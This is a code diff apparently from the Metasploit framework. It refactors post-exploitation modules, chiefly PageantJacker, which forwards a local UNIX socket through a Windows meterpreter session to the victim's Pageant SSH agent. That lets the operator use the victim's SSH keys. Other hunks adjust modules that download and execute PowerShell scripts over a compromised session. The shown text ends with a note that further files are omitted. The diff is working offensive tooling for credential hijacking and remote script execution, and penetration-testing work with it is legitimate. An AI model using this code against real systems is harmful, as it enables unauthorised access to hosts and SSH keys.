@@ -40,23 +45,22 @@ class MetasploitModule < Msf::Post
}
)
)
register_options(
[
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
]
)
register_options([
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
])
end
def sockpath
@sockpath ||= "#{Dir.tmpdir}/#{Rex::Text.rand_text_alphanumeric(8)}"
end
def setup
unless session.extapi
vprint_status("Loading extapi extension...")
begin
session.core.use("extapi")
rescue Errno::ENOENT
print_error("This module is only available in a windows meterpreter session.")
return
end
end
return if session.extapi
vprint_status('Loading extapi extension...')
session.core.use('extapi')
rescue Errno::ENOENT
fail_with(Failure::BadConfig, 'This module is only available in a Windows meterpreter session.')
end
def run
@@ -64,79 +68,89 @@ class MetasploitModule < Msf::Post
begin
::UNIXServer
rescue NameError
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
return false
fail_with(Failure::BadConfig, 'This module is only supported on a Metasploit installation that supports UNIX sockets.')
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
if datastore['SocketPath']
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
if ::File.exist?(datastore['SocketPath'].to_s)
fail_with(Failure::BadConfig, "Socket (#{datastore['SocketPath']}) already exists. Remove it or choose another path and try again.")
end
@sockpath = datastore['SocketPath'].to_s
else
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
end
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
if ::File.exist?(@sockpath)
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
return false
end
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
::UNIXServer.open(@sockpath) do |serv|
print_status("Launched listening socket on #{@sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
print_status("Now use any tool normally (e.g. ssh-add)")
::UNIXServer.open(sockpath) do |serv|
File.chmod(0o0700, sockpath)
loop do
s = serv.accept
loop do
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
print_status("Launched listening socket on #{sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")
print_status('Now use any SSH tool normally (e.g. ssh-add)')
while (s = serv.accept)
begin
while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX
break if socket_request_data.nil?
data = socket_request_data.first
break if data.nil? || data.empty?
vprint_status("PageantJacker: Received data from socket (size: #{data.size})")
response = session.extapi.pageant.forward(data, data.size)
unless response[:success]
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
next
end
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
if response[:success]
begin
s.send response[:blob], 0
rescue
s.send(response[:blob], 0)
rescue StandardError
break
end
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
else
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
end
rescue Errno::ECONNRESET
vprint_status('PageantJacker: Received reset from client, ignoring.')
end
end
end
end
def cleanup
return unless @sockpath
# Remove the socket that we created, if it still exists
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
::File.delete(@sockpath) if ::File.exist?(@sockpath)
ensure
super
end
def translate_error(errnum)
errstring = "#{errnum}: "
case errnum
when 0
errstring += "No error"
errstring + 'No error'
when 1
errstring += "The Pageant request was not processed."
errstring + 'The Pageant request was not processed.'
when 2
errstring += "Unable to obtain IPC memory address."
errstring + 'Unable to obtain IPC memory address.'
when 3
errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'
when 4
errstring += "Unable to allocate memory buffer."
errstring + 'Unable to allocate memory buffer.'
when 5
errstring += "Unable to build Pageant request string."
errstring + 'Unable to build Pageant request string.'
when 6
errstring += "Pageant not found."
errstring + 'Pageant not found.'
when 7
errstring += "Not forwarded."
errstring + 'Not forwarded.'
else
errstring += "Unknown."
errstring + 'Unknown.'
end
errstring
end
end
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Post
register_options(
[
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
]
)
@@ -10,8 +10,8 @@ class MetasploitModule < Msf::Post
super(update_info(info,
'Name' => "Load Scripts Into PowerShell Session",
'Description' => %q{
This module will download and execute one or more PowerShell script
s over a present powershell session.
This module will download and execute one or more PowerShell scripts
over a present powershell session.
Setting VERBOSE to true will show the stager results.
},
'License' => MSF_LICENSE,
@@ -25,10 +25,9 @@ class MetasploitModule < Msf::Post
register_options(
[
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
])
end
def run

Some files were not shown because too many files have changed in this diff Show More